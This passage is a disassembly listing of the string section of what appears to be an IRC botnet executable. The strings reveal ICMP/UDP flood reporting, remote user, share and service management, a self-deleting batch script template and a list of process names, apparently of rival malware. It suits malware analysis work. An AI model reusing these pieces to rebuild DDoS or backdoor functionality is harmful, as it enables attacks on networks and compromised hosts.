aApplicationOct	db 'application/octet-stream',0 ; DATA XREF: sub_404AFC:loc_404B64o
		align 10h
aTextHtml	db 'text/html',0        ; DATA XREF: sub_404AFC+61o
		align 4
aHttpdFailedT_0	db '[HTTPD]: Failed to start worker thread, error: <%d>.',0
					; DATA XREF: sub_404C6A+287o
		align 4
aHttpdWorkerThr	db '[HTTPD]: Worker thread of server thread: %d.',0
					; DATA XREF: sub_404C6A+213o
		align 4
asc_421994:				; DATA XREF: sub_404C6A+16Eo
		unicode	0, <*>,0
aS_2		db '%s',0               ; DATA XREF: sub_404C6A+31o
					; sub_4056FB+44o ...
		align 4
aS_8		db '\%s',0              ; DATA XREF: sub_404C6A+27o
aHttpdErrorServ	db '[HTTPD]: Error: server failed, returned: <%d>.',0
					; DATA XREF: sub_404F24+3E0o
		align 10h
asc_4219D0	db 0Dh,0Ah,0		; DATA XREF: sub_404F24+296o
		align 4
aGet		db 'GET ',0             ; DATA XREF: sub_404F24+22Do
		align 10h
aIcmpErrorSendi	db '[ICMP]: Error sending packets to IP: %s. Packets sent: %d. Return'
					; DATA XREF: sub_405367+2F2o
		db 'ed: <%d>.',0
		align 10h
aIcmpDoneWithSF	db '[ICMP]: Done with %s flood to IP: %s. Sent: %d packet(s) @ %dKB/s'
					; DATA XREF: sub_405367+288o
		db 'ec (%dMB).',0
aIcmpInvalidTar	db '[ICMP]: Invalid target IP.',0 ; DATA XREF: sub_405367+B6o
		align 4
aIcmpErrorSetso	db '[ICMP]: Error: setsockopt() failed, returned: <%d>.',0
					; DATA XREF: sub_405367+8Eo
aIcmpErrorSocke	db '[ICMP]: Error: socket() failed, returned: <%d>.',0
					; DATA XREF: sub_405367+49o
aSSS		db '%s %s :%s',0Dh,0Ah,0 ; DATA XREF: sub_4056FB+69o
aPrivmsg	db 'PRIVMSG',0          ; DATA XREF: sub_4056FB+16o
					; sub_408A18+700o
aNotice		db 'NOTICE',0           ; DATA XREF: sub_4056FB+Fo
					; sub_408A18+70Eo
		align 4
aSqldisconnect	db 'SQLDisconnect',0    ; DATA XREF: sub_4057AC+B8Co
		align 4
aSqlfreehandle	db 'SQLFreeHandle',0    ; DATA XREF: sub_4057AC+B7Fo
		align 4
aSqlallochandle	db 'SQLAllocHandle',0   ; DATA XREF: sub_4057AC+B72o
		align 4
aSqlexecdirect	db 'SQLExecDirect',0    ; DATA XREF: sub_4057AC+B65o
		align 4
aSqlsetenvattr	db 'SQLSetEnvAttr',0    ; DATA XREF: sub_4057AC+B58o
		align 4
aSqldriverconne	db 'SQLDriverConnect',0 ; DATA XREF: sub_4057AC+B50o
		align 4
aOdbc32_dll	db 'odbc32.dll',0       ; DATA XREF: sub_4057AC:loc_4062EFo
		align 4
aShchangenotify	db 'SHChangeNotify',0   ; DATA XREF: sub_4057AC+B0Eo
		align 4
aShellexecutea	db 'ShellExecuteA',0    ; DATA XREF: sub_4057AC+B06o
		align 4
aShell32_dll	db 'shell32.dll',0      ; DATA XREF: sub_4057AC:loc_4062A5o
aWnetcancelco_0	db 'WNetCancelConnection2W',0 ; DATA XREF: sub_4057AC+AB4o
		align 4
aWnetcancelconn	db 'WNetCancelConnection2A',0 ; DATA XREF: sub_4057AC+AA7o
		align 4
aWnetaddconne_0	db 'WNetAddConnection2W',0 ; DATA XREF: sub_4057AC+A9Ao
aWnetaddconnect	db 'WNetAddConnection2A',0 ; DATA XREF: sub_4057AC+A92o
aMpr_dll	db 'mpr.dll',0          ; DATA XREF: sub_4057AC:loc_406231o
aDeleteipnetent	db 'DeleteIpNetEntry',0 ; DATA XREF: sub_4057AC+A50o
		align 4
aGetipnettable	db 'GetIpNetTable',0    ; DATA XREF: sub_4057AC+A48o
		align 4
aIphlpapi_dll	db 'iphlpapi.dll',0     ; DATA XREF: sub_4057AC:loc_4061E7o
		align 4
aDnsflushreso_0	db 'DnsFlushResolverCacheEntry_A',0 ; DATA XREF: sub_4057AC+A06o
		align 4
aDnsflushresolv	db 'DnsFlushResolverCache',0 ; DATA XREF: sub_4057AC+9FEo
		align 10h
aDnsapi_dll	db 'dnsapi.dll',0       ; DATA XREF: sub_4057AC:loc_40619Do
		align 4
aNetmessagebuff	db 'NetMessageBufferSend',0 ; DATA XREF: sub_4057AC+974o
		align 4
aNetusergetinfo	db 'NetUserGetInfo',0   ; DATA XREF: sub_4057AC+967o
		align 4
aNetuserenum	db 'NetUserEnum',0      ; DATA XREF: sub_4057AC+95Ao
aNetuserdel	db 'NetUserDel',0       ; DATA XREF: sub_4057AC+94Do
		align 4
aNetuseradd	db 'NetUserAdd',0       ; DATA XREF: sub_4057AC+940o
		align 4
aNetremotetod	db 'NetRemoteTOD',0     ; DATA XREF: sub_4057AC+933o
		align 4
aNetapibufferfr	db 'NetApiBufferFree',0 ; DATA XREF: sub_4057AC+926o
		align 4
aNetschedulejob	db 'NetScheduleJobAdd',0 ; DATA XREF: sub_4057AC+919o
		align 10h
aNetshareenum	db 'NetShareEnum',0     ; DATA XREF: sub_4057AC+90Co
		align 10h
aNetsharedel	db 'NetShareDel',0      ; DATA XREF: sub_4057AC+8FFo
aNetshareadd	db 'NetShareAdd',0      ; DATA XREF: sub_4057AC+8F7o
aNetapi32_dll	db 'netapi32.dll',0     ; DATA XREF: sub_4057AC:loc_406092o
		align 4
aIcmpsendecho	db 'IcmpSendEcho',0     ; DATA XREF: sub_4057AC+8A9o
		align 4
aIcmpclosehandl	db 'IcmpCloseHandle',0  ; DATA XREF: sub_4057AC+89Co
aIcmpcreatefile	db 'IcmpCreateFile',0   ; DATA XREF: sub_4057AC+894o
		align 4
aIcmp_dll	db 'icmp.dll',0         ; DATA XREF: sub_4057AC:loc_406033o
		align 4
aMozilla4_0Comp	db 'Mozilla/4.0 (compatible)',0 ; DATA XREF: sub_4057AC+85Ao
		align 10h
aInternetcloseh	db 'InternetCloseHandle',0 ; DATA XREF: sub_4057AC+7E8o
aInternetreadfi	db 'InternetReadFile',0 ; DATA XREF: sub_4057AC+7DBo
		align 4
aInternetcracku	db 'InternetCrackUrlA',0 ; DATA XREF: sub_4057AC+7CEo
		align 4
aInternetopenur	db 'InternetOpenUrlA',0 ; DATA XREF: sub_4057AC+7C1o
		align 10h
aInternetopena	db 'InternetOpenA',0    ; DATA XREF: sub_4057AC+7B4o
		align 10h
aInternetconnec	db 'InternetConnectA',0 ; DATA XREF: sub_4057AC+7A7o
		align 4
aHttpsendreques	db 'HttpSendRequestA',0 ; DATA XREF: sub_4057AC+79Ao
		align 4
aHttpopenreques	db 'HttpOpenRequestA',0 ; DATA XREF: sub_4057AC+78Do
		align 4
aInternetgetc_0	db 'InternetGetConnectedStateEx',0 ; DATA XREF: sub_4057AC+780o
aInternetgetcon	db 'InternetGetConnectedState',0 ; DATA XREF: sub_4057AC+778o
		align 4
aWininet_dll	db 'wininet.dll',0      ; DATA XREF: sub_4057AC:loc_405F13o
aClosesocket	db 'closesocket',0      ; DATA XREF: sub_4057AC+62Eo
aGetpeername	db 'getpeername',0      ; DATA XREF: sub_4057AC+621o
aGethostbyaddr	db 'gethostbyaddr',0    ; DATA XREF: sub_4057AC+614o
		align 4
aGethostbyname	db 'gethostbyname',0    ; DATA XREF: sub_4057AC+607o
		align 4
aGethostname	db 'gethostname',0      ; DATA XREF: sub_4057AC+5FAo
aGetsockname	db 'getsockname',0      ; DATA XREF: sub_4057AC+5EDo
aSetsockopt	db 'setsockopt',0       ; DATA XREF: sub_4057AC+5E0o
		align 4
aAccept		db 'accept',0           ; DATA XREF: sub_4057AC+5D3o
		align 4
aListen		db 'listen',0           ; DATA XREF: sub_4057AC+5C6o
		align 4
aSelect		db 'select',0           ; DATA XREF: sub_4057AC+5B9o
		align 4
aBind		db 'bind',0             ; DATA XREF: sub_4057AC+5B1o
		align 4
aRecvfrom	db 'recvfrom',0         ; DATA XREF: sub_4057AC+59Fo
		align 4
aRecv		db 'recv',0             ; DATA XREF: sub_4057AC+592o
		align 10h
aSendto		db 'sendto',0           ; DATA XREF: sub_4057AC+585o
		align 4
aSend		db 'send',0             ; DATA XREF: sub_4057AC+578o
					; sub_408A18+1E04o
		align 10h
aNtohl		db 'ntohl',0            ; DATA XREF: sub_4057AC+56Bo
		align 4
aNtohs		db 'ntohs',0            ; DATA XREF: sub_4057AC+55Eo
		align 10h
aHtonl		db 'htonl',0            ; DATA XREF: sub_4057AC+551o
		align 4
aHtons		db 'htons',0            ; DATA XREF: sub_4057AC+544o
		align 10h
aInet_addr	db 'inet_addr',0        ; DATA XREF: sub_4057AC+537o
		align 4
aInet_ntoa	db 'inet_ntoa',0        ; DATA XREF: sub_4057AC+52Ao
		align 4
aConnect	db 'connect',0          ; DATA XREF: sub_4057AC+51Do
aIoctlsocket	db 'ioctlsocket',0      ; DATA XREF: sub_4057AC+510o
aSocket		db 'socket',0           ; DATA XREF: sub_4057AC+503o
		align 4
aWsacleanup	db 'WSACleanup',0       ; DATA XREF: sub_4057AC+4F6o
		align 10h
aWsagetlasterro	db 'WSAGetLastError',0  ; DATA XREF: sub_4057AC+4E9o
aWsaioctl	db 'WSAIoctl',0         ; DATA XREF: sub_4057AC+4DCo
		align 4
a__wsafdisset	db '__WSAFDIsSet',0     ; DATA XREF: sub_4057AC+4CFo
		align 4
aWsaasyncselect	db 'WSAAsyncSelect',0   ; DATA XREF: sub_4057AC+4C2o
		align 4
aWsasocketa	db 'WSASocketA',0       ; DATA XREF: sub_4057AC+4B5o
		align 4
aWsastartup	db 'WSAStartup',0       ; DATA XREF: sub_4057AC+4ADo
		align 4
aWs2_32_dll	db 'ws2_32.dll',0       ; DATA XREF: sub_4057AC+49Co
		align 10h
aDeleteobject	db 'DeleteObject',0     ; DATA XREF: sub_4057AC+429o
		align 10h
aDeletedc	db 'DeleteDC',0         ; DATA XREF: sub_4057AC+41Co
		align 4
aBitblt		db 'BitBlt',0           ; DATA XREF: sub_4057AC+40Fo
		align 4
aSelectobject	db 'SelectObject',0     ; DATA XREF: sub_4057AC+402o
		align 4
aGetdibcolortab	db 'GetDIBColorTable',0 ; DATA XREF: sub_4057AC+3F5o
		align 4
aGetdevicecaps	db 'GetDeviceCaps',0    ; DATA XREF: sub_4057AC+3E8o
		align 4
aCreatecompatib	db 'CreateCompatibleDC',0 ; DATA XREF: sub_4057AC+3DBo
		align 4
aCreatedibsecti	db 'CreateDIBSection',0 ; DATA XREF: sub_4057AC+3CEo
		align 10h
aCreatedca	db 'CreateDCA',0        ; DATA XREF: sub_4057AC+3C6o
		align 4
aGdi32_dll	db 'gdi32.dll',0        ; DATA XREF: sub_4057AC:loc_405B61o
		align 4
aGetusernamea	db 'GetUserNameA',0     ; DATA XREF: sub_4057AC:loc_405B39o
		align 4
aIsvalidsecurit	db 'IsValidSecurityDescriptor',0 ; DATA XREF: sub_4057AC+335o
		align 4
aEnumservicesst	db 'EnumServicesStatusA',0 ; DATA XREF: sub_4057AC+328o
aCloseserviceha	db 'CloseServiceHandle',0 ; DATA XREF: sub_4057AC+31Bo
		align 4
aDeleteservice	db 'DeleteService',0    ; DATA XREF: sub_4057AC+30Eo
		align 4
aControlservice	db 'ControlService',0   ; DATA XREF: sub_4057AC+301o
		align 4
aStartservicea	db 'StartServiceA',0    ; DATA XREF: sub_4057AC+2F4o
		align 4
aOpenservicea	db 'OpenServiceA',0     ; DATA XREF: sub_4057AC+2E7o
		align 4
aOpenscmanagera	db 'OpenSCManagerA',0   ; DATA XREF: sub_4057AC:loc_405A8Bo
		align 4
aAdjusttokenpri	db 'AdjustTokenPrivileges',0 ; DATA XREF: sub_4057AC+2AFo
		align 4
aLookupprivileg	db 'LookupPrivilegeValueA',0 ; DATA XREF: sub_4057AC+2A2o
		align 4
aOpenprocesstok	db 'OpenProcessToken',0 ; DATA XREF: sub_4057AC:loc_405A46o
		align 10h
aRegclosekey	db 'RegCloseKey',0      ; DATA XREF: sub_4057AC+252o
aRegdeletevalue	db 'RegDeleteValueA',0  ; DATA XREF: sub_4057AC+245o
aRegqueryvaluee	db 'RegQueryValueExA',0 ; DATA XREF: sub_4057AC+238o
		align 10h
aRegsetvalueexa	db 'RegSetValueExA',0   ; DATA XREF: sub_4057AC+22Bo
		align 10h
aRegcreatekeyex	db 'RegCreateKeyExA',0  ; DATA XREF: sub_4057AC+21Eo
aRegopenkeyexa	db 'RegOpenKeyExA',0    ; DATA XREF: sub_4057AC+216o
		align 10h
aAdvapi32_dll	db 'advapi32.dll',0     ; DATA XREF: sub_4057AC:loc_4059B1o
		align 10h
aExitwindowsex	db 'ExitWindowsEx',0    ; DATA XREF: sub_4057AC+1A0o
		align 10h
aCloseclipboard	db 'CloseClipboard',0   ; DATA XREF: sub_4057AC+193o
		align 10h
aGetclipboardda	db 'GetClipboardData',0 ; DATA XREF: sub_4057AC+186o
		align 4
aOpenclipboard	db 'OpenClipboard',0    ; DATA XREF: sub_4057AC+179o
		align 4
aDestroywindow	db 'DestroyWindow',0    ; DATA XREF: sub_4057AC+16Co
		align 4
aIswindow	db 'IsWindow',0         ; DATA XREF: sub_4057AC+15Fo
		align 10h
aFindwindowa	db 'FindWindowA',0      ; DATA XREF: sub_4057AC+152o
aSendmessagea	db 'SendMessageA',0     ; DATA XREF: sub_4057AC+14Ao
		align 4
aUser32_dll	db 'user32.dll',0       ; DATA XREF: sub_4057AC:loc_4058E1o
					; sub_41E453+13o
		align 4
aRegisterservic	db 'RegisterServiceProcess',0 ; DATA XREF: sub_4057AC:loc_4058B4o
		align 10h
aQueryperform_0	db 'QueryPerformanceFrequency',0 ; DATA XREF: sub_4057AC+A0o
		align 4
aQueryperforman	db 'QueryPerformanceCounter',0 ; DATA XREF: sub_4057AC+93o
aSearchpatha	db 'SearchPathA',0      ; DATA XREF: sub_4057AC+86o
aGetdrivetypea	db 'GetDriveTypeA',0    ; DATA XREF: sub_4057AC+79o
		align 10h
aGetlogicaldriv	db 'GetLogicalDriveStringsA',0 ; DATA XREF: sub_4057AC+6Co
aGetdiskfreespa	db 'GetDiskFreeSpaceExA',0 ; DATA XREF: sub_4057AC+5Fo
aModule32first	db 'Module32First',0    ; DATA XREF: sub_4057AC+52o
		align 4
aProcess32next	db 'Process32Next',0    ; DATA XREF: sub_4057AC+45o
		align 4
aProcess32first	db 'Process32First',0   ; DATA XREF: sub_4057AC+38o
		align 4
aCreatetoolhelp	db 'CreateToolhelp32Snapshot',0 ; DATA XREF: sub_4057AC+2Bo
		align 4
aSeterrormode	db 'SetErrorMode',0     ; DATA XREF: sub_4057AC+23o
		align 4
aKernel32_dll	db 'kernel32.dll',0     ; DATA XREF: sub_4057AC+Ao
					; sub_41D188+1Eo
		align 4
aMainDllTestCom	db '[MAIN]: DLL test complete.',0 ; DATA XREF: sub_406395+2BEo
		align 4
aOdbc32_dllFail	db 'Odbc32.dll failed. <%d>',0 ; DATA XREF: sub_406395+298o
aShell32_dllFai	db 'Shell32.dll failed. <%d>',0 ; DATA XREF: sub_406395+264o
		align 4
aMpr32_dllFaile	db 'Mpr32.dll failed. <%d>',0 ; DATA XREF: sub_406395+230o
		align 10h
aIphlpapi_dllFa	db 'Iphlpapi.dll failed. <%d>',0 ; DATA XREF: sub_406395+1FCo
		align 4
aDnsapi_dllFail	db 'Dnsapi.dll failed. <%d>',0 ; DATA XREF: sub_406395+1C8o
aNetapi32_dllFa	db 'Netapi32.dll failed. <%d>',0 ; DATA XREF: sub_406395+194o
		align 10h
aIcmp_dllFailed	db 'Icmp.dll failed. <%d>',0 ; DATA XREF: sub_406395+160o
		align 4
aWininet_dllFai	db 'Wininet.dll failed. <%d>',0 ; DATA XREF: sub_406395+12Co
		align 4
aWs2_32_dllFail	db 'Ws2_32.dll failed. <%d>',0 ; DATA XREF: sub_406395+F8o
aGdi32_dllFaile	db 'Gdi32.dll failed. <%d>',0 ; DATA XREF: sub_406395+C4o
		align 4
aAdvapi32_dllFa	db 'Advapi32.dll failed. <%d>',0 ; DATA XREF: sub_406395+90o
		align 10h
aUser32_dllFail	db 'User32.dll failed. <%d>',0 ; DATA XREF: sub_406395+5Co
aKernel32_dllFa	db 'Kernel32.dll failed. <%d>',0 ; DATA XREF: sub_406395+28o
		align 4
aSErrorSD_	db '%s Error: %s <%d>.',0 ; DATA XREF: sub_406826+72o
		align 4
aMirc_0		db 'mIRC',0             ; DATA XREF: sub_4068EB+6o
					; sub_40FC65+18o
		align 10h
aExplorer_exe	db 'explorer.exe',0     ; DATA XREF: sub_40696D+1Ao
		align 10h
aSeshutdownpriv	db 'SeShutdownPrivilege',0 ; DATA XREF: sub_406A11+2o
aComspecCSS	db '%%comspec%% /c %s %s',0 ; DATA XREF: sub_406A33+13Co
		align 10h
a@echoOffRepeat	db '@echo off',0Dh,0Ah  ; DATA XREF: sub_406A33+80o
		db ':repeat',0Dh,0Ah
		db 'del "%%1"',0Dh,0Ah
		db 'if exist "%%1" goto repeat',0Dh,0Ah
		db 'del "%s"',0
aSdel_bat	db '%sdel.bat',0        ; DATA XREF: sub_406A33+43o
		align 10h
aContinued	db 'Continued',0
		align 4
aContinue_0	db 'Continue',0
		align 4
aPaused		db 'Paused',0
		align 10h
aPause_0	db 'Pause',0
		align 4
aStopped_0	db 'Stopped',0          ; DATA XREF: .data:0042B4A4o
aStop_0		db 'Stop',0             ; DATA XREF: .data:0042B4A0o
		align 4
aStarted	db 'Started',0          ; DATA XREF: .data:0042B498o
aStart_0	db 'Start',0            ; DATA XREF: .data:0042B494o
		align 4
aListed		db 'Listed',0           ; DATA XREF: .data:0042B48Co
		align 10h
aList_1		db 'List',0             ; DATA XREF: .data:0042B488o
		align 4
aDeleted	db 'Deleted',0          ; DATA XREF: .data:0042B480o
aDelete_0	db 'Delete',0           ; DATA XREF: .data:0042B47Co
		align 4
aAdded		db 'Added',0            ; DATA XREF: .data:off_42B474o
		align 10h
aAdd		db 'Add',0              ; DATA XREF: .data:off_42B470o
aAnUnknownErr_0	db 'An unknown error occurred: <%ld>',0 ; DATA XREF: sub_406D69+128o
		align 4
aTheSystemIsShu	db 'The system is shutting down.',0 ; DATA XREF: sub_406D69:loc_406E7Do
		align 4
aTheServiceHasN	db 'The service has not been started.',0 ; DATA XREF: sub_406D69:loc_406E76o
		align 10h
aTheRequested_1	db 'The requested control code cannot be sent to the service because '
					; DATA XREF: sub_406D69:loc_406E6Fo
		db 'the state of the service.',0
		align 4
aTheServiceHa_0	db 'The service has been marked for deletion.',0
					; DATA XREF: sub_406D69:loc_406E68o
		align 4
aTheServiceCoul	db 'The service could not be logged on. The account does not have the'
					; DATA XREF: sub_406D69:loc_406E61o
		db ' correct access rights.',0
		align 4
aTheSpecified_0	db 'The specified service does not exist.',0
					; DATA XREF: sub_406D69:loc_406E5Ao
		align 4
aTheServiceHasB	db 'The service has been disabled.',0 ; DATA XREF: sub_406D69:loc_406E53o
		align 10h
aTheServiceDe_0	db 'The service depends on another service that has failed to start.',0
					; DATA XREF: sub_406D69:loc_406E4Co
		align 8
aTheServiceDepe	db 'The service depends on a service that does not exist or has been '
					; DATA XREF: sub_406D69:loc_406E45o
		db 'marked for deletion.',0
		align 10h
aTheSpecifiedDa	db 'The specified database does not exist.',0
					; DATA XREF: sub_406D69:loc_406E3Eo
		align 4
aAnInstanceOfTh	db 'An instance of the service is already running.',0
					; DATA XREF: sub_406D69:loc_406E13o
		align 4
aTheRequested_0	db 'The requested control code is not valid, or it is unacceptable to'
					; DATA XREF: sub_406D69:loc_406E0Co
		db ' the service.',0
		align 4
aTheProcessForT	db 'The process for the service was started, but it did not call Star'
					; DATA XREF: sub_406D69:loc_406E05o
		db 'tServiceCtrlDispatcher.',0
		align 4
aAThreadCouldNo	db 'A thread could not be created for the service.',0
					; DATA XREF: sub_406D69:loc_406DFEo
		align 4
aTheDatabaseIsL	db 'The database is locked.',0 ; DATA XREF: sub_406D69+8Bo
		align 10h
aTheServiceCann	db 'The service cannot be stopped because other running services are '
					; DATA XREF: sub_406D69:loc_406DD3o
		db 'dependent on it.',0
		align 4
aTheServiceBina	db 'The service binary file could not be found.',0
					; DATA XREF: sub_406D69:loc_406DC9o
aTheHandleDoesN	db 'The handle does not have the required access right.',0
					; DATA XREF: sub_406D69:loc_406DBFo
aTheHandleIsInv	db 'The handle is invalid.',0 ; DATA XREF: sub_406D69:loc_406DB5o
		align 4
aTheRequestedCo	db 'The requested control code is undefined.',0
					; DATA XREF: sub_406D69:loc_406DABo
		align 4
aTheSpecifiedSe	db 'The specified service name is invalid.',0 ; DATA XREF: sub_406D69+38o
		align 10h
aSSS_0		db '%s: %s (%s)',0      ; DATA XREF: sub_406EE3+EEo
aStopped	db '    Stopped',0      ; DATA XREF: sub_406EE3:loc_406FB2o
aStarting	db '   Starting',0      ; DATA XREF: sub_406EE3:loc_406FABo
aStoping	db '    Stoping',0      ; DATA XREF: sub_406EE3:loc_406FA4o
aRunning	db '    Running',0      ; DATA XREF: sub_406EE3:loc_406F9Do
aContinuing	db ' Continuing',0      ; DATA XREF: sub_406EE3:loc_406F96o
aPausing	db '    Pausing',0      ; DATA XREF: sub_406EE3:loc_406F8Fo
aPaused_0	db '     Paused',0      ; DATA XREF: sub_406EE3:loc_406F88o
aUnknown_0	db '    Unknown',0      ; DATA XREF: sub_406EE3+9Eo
aTheFollowingWi	db 'The following Windows services are registered:',0
					; DATA XREF: sub_406EE3+25o
		align 4
aNetUserInfoErr	db '[NET]: User info error: <%ld>',0 ; DATA XREF: sub_4071EE+394o
		align 4
aUnitsPerWeekD	db 'Units Per Week: %d',0 ; DATA XREF: sub_4071EE+36Ao
		align 10h
aMax_StorageD	db 'Max. Storage: %d',0 ; DATA XREF: sub_4071EE+33Fo
		align 4
aUserSLanguageD	db 'User',27h,'s Language: %d',0 ; DATA XREF: sub_4071EE+317o
aCountryCodeD	db 'Country Code: %d',0 ; DATA XREF: sub_4071EE+2ECo
		align 4
aWorkstationsS	db 'Workstations: %S',0 ; DATA XREF: sub_4071EE+2C4o
		align 10h
aLogonServerS	db 'Logon Server: %S',0 ; DATA XREF: sub_4071EE+299o
		align 4
aLastLogoffD	db 'Last Logoff: %d',0  ; DATA XREF: sub_4071EE+271o
aLastLogonD	db 'Last Logon: %d',0   ; DATA XREF: sub_4071EE+246o
		align 4
aNumberOfLogins	db 'Number of Logins: %d',0 ; DATA XREF: sub_4071EE+21Eo
		align 4
aBadPasswordCou	db 'Bad Password Count: %d',0 ; DATA XREF: sub_4071EE+1F3o
		align 4
aPasswordAgeD	db 'Password Age: %d',0 ; DATA XREF: sub_4071EE+1CBo
		align 4
aParametersS	db 'Parameters: %S',0   ; DATA XREF: sub_4071EE+1A0o
		align 4
aHomeDirectoryS	db 'Home Directory: %S',0 ; DATA XREF: sub_4071EE+178o
		align 4
aAuthFlagsD	db 'Auth Flags: %d',0   ; DATA XREF: sub_4071EE+14Do
		align 4
aPrivilegeLevel	db 'Privilege Level: %s',0 ; DATA XREF: sub_4071EE+125o
aGuest		db 'Guest',0            ; DATA XREF: sub_4071EE:loc_407307o
		align 4
aUser_1		db 'User',0             ; DATA XREF: sub_4071EE:loc_407300o
		align 10h
aAdministrator	db 'Administrator',0    ; DATA XREF: sub_4071EE:loc_4072F9o
		align 10h
aCommentS	db 'Comment: %S',0      ; DATA XREF: sub_4071EE+D4o
aUserCommentS	db 'User Comment: %S',0 ; DATA XREF: sub_4071EE+ACo
		align 10h
aFullNameS	db 'Full Name: %S',0    ; DATA XREF: sub_4071EE+81o
		align 10h
aAccountS	db 'Account: %S',0      ; DATA XREF: sub_4071EE+50o
aNetworkConnect	db 'Network connection not found.',0 ; DATA XREF: sub_4075BC:loc_4076D5o
		align 4
aTheUserNameCou	db 'The user name could not be found.',0 ; DATA XREF: sub_4075BC:loc_4076CEo
		align 10h
aShareNotFound_	db 'Share not found.',0 ; DATA XREF: sub_4075BC:loc_4076C7o
		align 4
aTheComputerNam	db 'The computer name is invalid.',0 ; DATA XREF: sub_4075BC:loc_4076C0o
		align 4
aAnUnknownError	db 'An unknown error occurred.',0 ; DATA XREF: sub_4075BC:loc_4076B9o
		align 10h
aThePasswordIsS	db 'The password is shorter than required (or does not meet the passw'
					; DATA XREF: sub_4075BC:loc_40769Co
		db 'ord policy requirement.)',0
		align 4
aTheGroupAlread	db 'The group already exists.',0 ; DATA XREF: sub_4075BC:loc_407695o
		align 4
aTheUserAccount	db 'The user account already exists.',0 ; DATA XREF: sub_4075BC:loc_40768Eo
		align 10h
aTheOperationIs	db 'The operation is allowed only on the primary domain controller of'
					; DATA XREF: sub_4075BC+CBo
		db ' the domain.',0
		align 10h
aAGeneralFailur	db 'A general failure occurred in the network hardware.',0
					; DATA XREF: sub_4075BC:loc_407663o
aLevelParameter	db 'Level parameter is invalid.',0 ; DATA XREF: sub_4075BC:loc_40765Co
aDeviceOrDirect	db 'Device or directory does not exist.',0
					; DATA XREF: sub_4075BC:loc_407655o
aInvalidForRedi	db 'Invalid for redirected resource.',0 ; DATA XREF: sub_4075BC:loc_40764Bo
		align 4
aDuplicateShare	db 'Duplicate share name.',0 ; DATA XREF: sub_4075BC+85o
		align 10h
aTheNameIsInval	db 'The name is invalid.',0 ; DATA XREF: sub_4075BC:loc_407625o
		align 4
aAccessDenied_	db 'Access denied.',0   ; DATA XREF: sub_4075BC:loc_40761Bo
		align 4
aNotEnoughMemor	db 'Not enough memory.',0 ; DATA XREF: sub_4075BC:loc_407611o
		align 4
aThisNetworkReq	db 'This network request is not supported.',0
					; DATA XREF: sub_4075BC:loc_407607o
		align 4
aServerNameNotF	db 'Server name not found.',0 ; DATA XREF: sub_4075BC:loc_4075FDo
		align 4
aInvalidParamet	db 'Invalid parameter.',0 ; DATA XREF: sub_4075BC+37o
		align 10h
aNetSServerSMes	db '[NET]: %s <Server: %S> <Message: %S>',0 ; DATA XREF: sub_4076EC+A4o
		align 4
aNetMessageSent	db '[NET]: Message sent successfully.',0 ; DATA XREF: sub_4076EC+7Co
		align 4
aNetSNoServiceS	db '[NET]: %s: No service specified.',0 ; DATA XREF: sub_4077A8+65o
		align 10h
aNetErrorWithSe	db '[NET]: Error with service: ',27h,'%s',27h,'. %s',0
					; DATA XREF: sub_4077A8+4Fo
aNetSServiceS_	db '[NET]: %s service: ',27h,'%s',27h,'.',0 ; DATA XREF: sub_4077A8+33o
		align 10h
aNetSNoShareSpe	db '[NET]: %s: No share specified.',0 ; DATA XREF: sub_407820+AAo
		align 10h
aNetSShareS_	db '[NET]: %s share: ',27h,'%s',27h,'.',0 ; DATA XREF: sub_407820+88o
		align 4
aNetSErrorWithS	db '[NET]: %s: Error with share: ',27h,'%s',27h,'. %s',0
					; DATA XREF: sub_407820+56o
		align 10h
a14s24s6u4s	db '%-14S %-24S %-6u %-4s',0 ; DATA XREF: sub_4078DE+CEo
		align 4
aNo		db 'No',0               ; DATA XREF: sub_4078DE+BAo
		align 4
aYes		db 'Yes',0              ; DATA XREF: sub_4078DE+B3o
aNetShareListEr	db '[NET]: Share list error: %s <%ld>',0 ; DATA XREF: sub_4078DE+74o
		align 4
aShareNameResou	db 'Share name:    Resource:                Uses:  Desc:',0
					; DATA XREF: sub_4078DE+1Do
		align 4
aNetSNoUsername	db '[NET]: %s: No username specified.',0 ; DATA XREF: sub_4079FD+B5o
		align 10h
aNetSErrorWithU	db '[NET]: %s: Error with username: ',27h,'%s',27h,'. %s',0
					; DATA XREF: sub_4079FD+93o
		align 4
aNetSUsernameS_	db '[NET]: %s username: ',27h,'%s',27h,'.',0 ; DATA XREF: sub_4079FD+6Do
		align 4
aTotalUsersFoun	db 'Total users found: %d.',0 ; DATA XREF: sub_407AC7+144o
		align 10h
aNetAnAccessVio	db '[NET]: An access violation has occured.',0
					; DATA XREF: sub_407AC7:loc_407BB2o
aS_3		db '  %S',0             ; DATA XREF: sub_407AC7+B8o
		align 10h
aNetUserListErr	db '[NET]: User list error: %s <%ld>',0 ; DATA XREF: sub_407AC7+78o
		align 4
aUsernameAccoun	db 'Username accounts for local system:',0 ; DATA XREF: sub_407AC7+1Fo
aFlushdnsNotSup	db '[FLUSHDNS]: Not supported by this system.',0
					; DATA XREF: sub_407C73:loc_407D4Ao
		align 4
aFlushdnsUnable	db '[FLUSHDNS]: Unable to allocation ARP cache.',0
					; DATA XREF: sub_407C73:loc_407D1Bo
aFlushdnsArpCac	db '[FLUSHDNS]: ARP cache is empty.',0 ; DATA XREF: sub_407C73:loc_407CC7o
aFlushdnsErrorG	db '[FLUSHDNS]: Error getting ARP cache: <%d>.',0
					; DATA XREF: sub_407C73+44o
		align 4
aPingFinishedSe	db '[PING]: Finished sending pings to %s.',0 ; DATA XREF: sub_407DF7+138o
		align 4
aPingErrorSendi	db '[PING]: Error sending pings to %s.',0 ; DATA XREF: sub_407DF7+6Co
		align 4
aUdpFinishedSen	db '[UDP]: Finished sending packets to %s.',0 ; DATA XREF: sub_407F80+1CAo
		align 10h
aUdpErrorSendin	db '[UDP]: Error sending pings to %s.',0 ; DATA XREF: sub_407F80+8Co
		align 4
aHass_exe	db 'hass.exe',0         ; DATA XREF: .data:0042BEACo
		align 10h
aWinmp_exe	db 'winmp.exe',0        ; DATA XREF: .data:0042BEA8o
		align 4
aBling_exe	db 'bling.exe',0        ; DATA XREF: .data:0042BEA4o
		align 4
aWuamgrd_exe	db 'wuamgrd.exe',0      ; DATA XREF: .data:0042BEA0o
aScguard_exe	db 'scguard.exe',0      ; DATA XREF: .data:0042BE9Co
aWinssv_exe	db 'winssv.exe',0       ; DATA XREF: .data:0042BE98o
		align 4
aWruaclt_exe	db 'WRUACLT.EXE',0      ; DATA XREF: .data:0042BE94o
aWuacrlt_exe	db 'WUACRLT.EXE',0      ; DATA XREF: .data:0042BE90o
aWuanclt_exe	db 'WUANCLT.EXE',0      ; DATA XREF: .data:0042BE8Co
